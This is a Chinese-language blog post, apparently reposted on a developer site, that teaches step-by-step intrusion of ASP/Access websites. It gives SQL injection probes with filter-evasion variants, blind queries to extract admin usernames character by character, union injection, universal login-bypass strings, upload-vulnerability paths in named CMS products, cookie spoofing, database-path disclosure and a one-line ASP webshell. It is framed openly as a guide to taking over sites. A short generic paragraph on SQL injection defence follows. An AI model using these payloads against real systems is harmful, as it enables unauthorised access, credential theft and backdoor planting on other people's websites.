注入点的判断及猜解

注入点的判断及猜解

本文由zoujialan贡献
一、注入点的判断及猜解
1.加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2.数字型判断是否有注入;
语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
也就表明程序有注入漏洞
防注入解决办法:
1>使用or 2>1 ; or 1>2来进行判断
  结果:分别返回不同的页面,说明存在注入漏洞.
  分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
假。
   记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
,说明存在注入点。
2> 使用xor 1=1; xor 1=2
   结果:分别返回不同的页面,说明存在注入漏洞.
   分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
   记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
页面,说明存在注入点。
3>把and 1=1转换成URL编码形式后在提交
  and 1=1 URL编码:%41%4E%44%20%%31%3D%31
4>使用-1;-0
  分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 
URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3.字符型判断是否有注入:
  语句:' and '1'=1;' and  '1=2(经典)
  结果:结果:分别返回不同的页面,说明存在注入漏洞.
  分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
  防注入解决办法:
  1>在URL的地址后面加上'%2B'(字符型)
  分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
4.搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了
5.判断数据库类型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数
据库的话返回的错误提示里一般会含有"SQL Server"关键了.
6.猜表名 and exists (select * from 表名)
  说明:意思与上面一样,只是用的语名不一样。
7.猜列名 and (select count(列名) from 表名)>0
  说明:如果我们输入的列名猜解正确否反回正常页面
8.猜长度 and (select top 1 len(username) from admin)>0
  说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度
为正确。
9.猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
  说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字
正确。(可以使用折半法猜内容)
折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
10.联合查询注入(union查询)
操作步骤:
1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加
(and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错。
2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.
3>在页面字段值处暴出真实的数据库字段值。
二、查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
三、上传WEBSHELL
方法主要有:
1.上传漏洞: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞
了! 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用 
DOMAIN上传或是桂林老兵上传工具.
1>上传漏洞的文件
  动网是upfile.asp。
  动易是在upfile_soft.asp,(软件上传漏洞)upfile_softpic.asp(图片上传漏洞)
  动感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上
传或是桂林老兵上传工具
2>添加上传类型
  asa|asaspp
3>就是在上传时在后缀后面加空格或者加几点,也许也会有惊奇的发现。例:*.asp ,*.asp..。
4>上传图片文件木马,使用备份数据库得到asp文件
2.cookies欺骗
  使用cookies可以达到让网站认识你的目的。但是如果cookies验证不足就会形成cookies欺骗。用  
到工具 桂林老兵cookies欺骗工具。
3.%5c暴库
  把二级目录中间的/换成%5c EY:otherweb ... s.asp?BigClassName=职
责范围&;BigClassType=1 如果你能看到:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一个有效的 路径。 确定路径名称拼写是否正确,
以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行

4.conn.asp暴库
  这个也是比较老的漏洞,利用价值不大
5.'or'='or'万能密码登陆
  ’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : 
  ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a  
  一个很老的利用方法,主要用于一些比较老的网站。
6.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
,就是一些服务器 的绝对路径经过加密,这就看我们的本事了 
7.写入ASP格式数据库。就是一句话木马[〈%execute request("value")%〉 ],常用在留言本. 如:
这个就是ASP格式的数据库或者可以写入内容的
ASP文件,如南方数据的系统配置],再写 入一句话木马.
8.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
,就是一些服务器 的绝对路径经过加密,这就看我们的本事了
四、整站利用
    动网BBS 可以先用:dvbbs权限提升工具,使自已成为前 
   台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我   
们可以用 WSockExpert取得Cookies/NC包 这个我就不做了,网上教程多的是,自已下个看看。     
工具:dvbbs权限提升工具 动网固顶贴工具
总结:
个人认为ACCESS网站注比不是很灵活,方法大家都知道,针对国内的网站来说大家可以到网站搜索
网站是利用什么程序改过来的,我本人也是做网站的,现在一般都是利用已经存在的企业网站系统来
进行修改。下一篇整理MSSQL注入方法,MSSQL注入十分的灵活,功能也特别强大.只要找到注入点,一般
情况下是可以拿下来的,

  • 7
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的安全漏洞,攻击者可以通过在用户输入插入恶意的SQL代码来执行未经授权的数据库操作。以下是一些判断SQL注入注入的常见方法: 1. 输入验证失败:如果应用程序未正确验证和过滤用户输入,而直接将输入用于SQL查询,那么就存在SQL注入的风险。可以通过尝试在输入插入特殊字符(如单引号、分号、注释符号等)来检测输入验证是否容易受到绕过。 2. 错误消息暴露:当应用程序在发生SQL错误时,返回了完整的错误消息给用户,其可能包含了敏感信息或者SQL查询的细节。攻击者可以利用这些错误消息来获取有关数据库结构和查询的信息,从而判断是否存在注入。 3. 基于时间的盲注入:攻击者可以通过构造恶意的SQL语句来导致查询执行时间的延迟,从而判断是否存在注入。例如,使用SLEEP函数或者其他时间延迟的操作来观察应用程序的响应时间。 4. UNION注入:攻击者可以利用UNION操作符将恶意的SQL语句合并到正常的查询,从而获取额外的数据。可以通过尝试在输入插入UNION操作符来检测是否存在注入。 5. 盲注入:在某些情况下,应用程序不会直接返回错误消息或延迟响应时间,但攻击者仍然可以通过构造特定的SQL语句来判断是否存在注入。例如,使用布尔逻辑来判断某个条件是否成立,或者利用条件语句的真假来判断查询结果。 请注意,以上只是一些常见的判断SQL注入的方法,攻击者可能使用更复杂和隐蔽的技术来进行注入攻击。为了有效地防范SQL注入,建议开发人员采取安全编码实践,如使用参数化查询、输入验证和过滤、最小权限原则等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值